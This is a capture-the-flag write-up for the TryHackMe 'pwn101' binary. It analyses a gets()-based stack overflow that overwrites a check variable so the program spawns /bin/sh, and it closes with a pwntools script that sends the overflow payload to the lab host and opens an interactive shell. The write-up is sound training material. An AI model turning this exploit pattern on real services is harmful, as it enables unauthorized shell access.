TryHackMe - pwn101
Challenge Description
This should give you a start: ‘AAAAAAAAAAA’ Challenge is running on port 9001
Provided:
IP: 10.10.14.244
Files: pwn101.pwn101
Initial Recon & Analysis
Running file command on pwn101.pwn101:
file pwn101.pwn101
pwn101.pwn101: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=dd42eee3cfdffb116dfdaa750dbe4cc8af68cf43, not stripped
- This is a 64-bit Linux executable file
- Not stripped - Debugging symbols are present, making reverse engineering easier
- Dynamically linked - Uses shared system libraries
- PIE enabled - Position Independent Executable
Running the binary we are presented with:
Hello!, I am going to shopping.
My mom told me to buy some ingredients.
Ummm.. But I have low memory capacity, So I forgot most of them.
Anyway, she is preparing Briyani for lunch, Can you help me to buy those items :D
Type the required ingredients to make briyani:
NotSure
Nah bruh, you lied me :(
She did Tomato rice instead of briyani :/
We can use tool checksec to see what protections this binary has been compiled with:
checksec pwn101.pwn101
[*] 'pwn101.pwn101'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
Stripped: No
Full RERLO means it has full Relocation Readonly
NX Enabled means we can’t execute code from stack or heap
Pie Enabled means it is Position Independent Executable
Step 1: Understanding the Challenge
I used ghidra to get decompiled code and here is the main function
void main(void)
{
char local_48 [60];
int local_c;
local_c = 0x539;
setup();
banner();
puts(
"Hello!, I am going to shopping.\nMy mom told me to buy some ingredients.\nUmmm.. But I have l ow memory capacity, So I forgot most of them.\nAnyway, she is preparing Briyani for lunch, Can you help me to buy those items :D\n"
);
puts("Type the required ingredients to make briyani: ");
gets(local_48);
if (local_c == 0x539) {
puts("Nah bruh, you lied me :(\nShe did Tomato rice instead of briyani :/");
/* WARNING: Subroutine does not return */
exit(0x539);
}
puts("Thanks, Here\'s a small gift for you <3");
system("/bin/sh");
return;
}
It is important to understand what all of the functions do so we can understand where the vulnerability is
The gets function is dangerous because it does not perform any bounds checking, allowing users to input more data than the target buffer can hold, leading to buffer overflows.
We can see the program puts hexadecimal value 0x539 in varible local_c. Preforms some priniting. Gets our input. Checks if the variable is equal to 0x539 and if it is not it gives us the shell.
In dissasembler it looks like this:
sub rsp,0x40
DWORD PTR [rbp-0x4],0x539
cmp DWORD PTR [rbp-0x4],0x539
jne 0x8f9 <main+107>
Where the address 0x8f9 exists the loop and uses system to give us /bin/sh shell
call 0x6c0 <system@plt>
-
Buffer starts at:
rbp - 0x40(64 bytes from rbp) -
Target variable at:
rbp - 0x4(4 bytes from rbp)
Distance: (rbp - 0x4) - (rbp - 0x40) = 0x40 - 0x4 = 0x3C bytes
Solution
Now that we know how much the distance is we can write simple script that will calculate and print characters until it overflows the buffer.
from pwn import *
context.binary = binary = "./pwn101.pwn101"
payload = b"A"*((0x40-0x4)+1)
#p = process()
p = remote("10.10.14.244", 9001)
p.recv()
p.sendline(payload)
p.interactive()
Tools & References Used
pwntools documentation - https://docs.pwntools.com/en/stable/